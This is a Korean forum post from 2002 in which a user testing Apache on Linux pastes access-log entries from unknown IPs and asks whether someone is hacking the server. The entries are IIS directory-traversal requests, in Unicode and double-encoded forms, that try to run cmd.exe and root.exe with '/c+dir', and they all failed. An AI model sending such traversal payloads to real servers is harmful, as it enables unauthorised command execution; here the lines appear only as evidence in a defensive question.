아파치 로그에 관해서...이상한점...
작성자 정보
- 조성철 작성
- 작성일
컨텐츠 정보
- 2,462 조회
- 0 추천
- 목록
본문
와우 리눅스 7.1에 아파치 1.3.9를 설치했습니다.
지금은 운영중이 아니구 테스트 중입니다.
당연히 ip를 아는사람두 없습니다....
저만 ip로 접속해서 테스트중인데..access 로그 파일을 봣더니...
첨보는 ip 번호들이 접속한걸루 나오더군요...
내용도 웹페이지를 요구한것두 아니구 참 이상합니다.
아래에 내용이 있습니다....
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:30 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:30 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:31 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308
61.xxx.xxx.xxx- - [26/Mar/2002:19:49:31 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 61.xxx.xxx.xxx - - [26/Mar/2002:19:49:31 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 292
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:31 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 287
61.xxx.xxx.xxx- - [26/Mar/2002:19:49:32 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 292
61.xxx.xxx.xxx- - [26/Mar/2002:19:49:32 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 285
61.xxx.xxx.xxx- - [26/Mar/2002:19:49:32 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 61.xxx.xxx.xxx - - [26/Mar/2002:19:49:32 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:32 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:33 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
61.xxx.xxx.xxx - - [26/Mar/2002:19:49:33 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
61.xxx.xxx.xxx- - [26/Mar/2002:19:49:33 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 326
이런식을 나오는데...
로그파일을 지우고 잠시후에보면 ..이런식으로 계속 내용이 쌓이네요.
위에 나오는 ip들은 저의 네트웍에 속한 ip두 아닙니다...무슨 내용인지..혹시 해킹하는건 아닌지...
아시는분 가르쳐주세요..
관련자료
-
이전
-
다음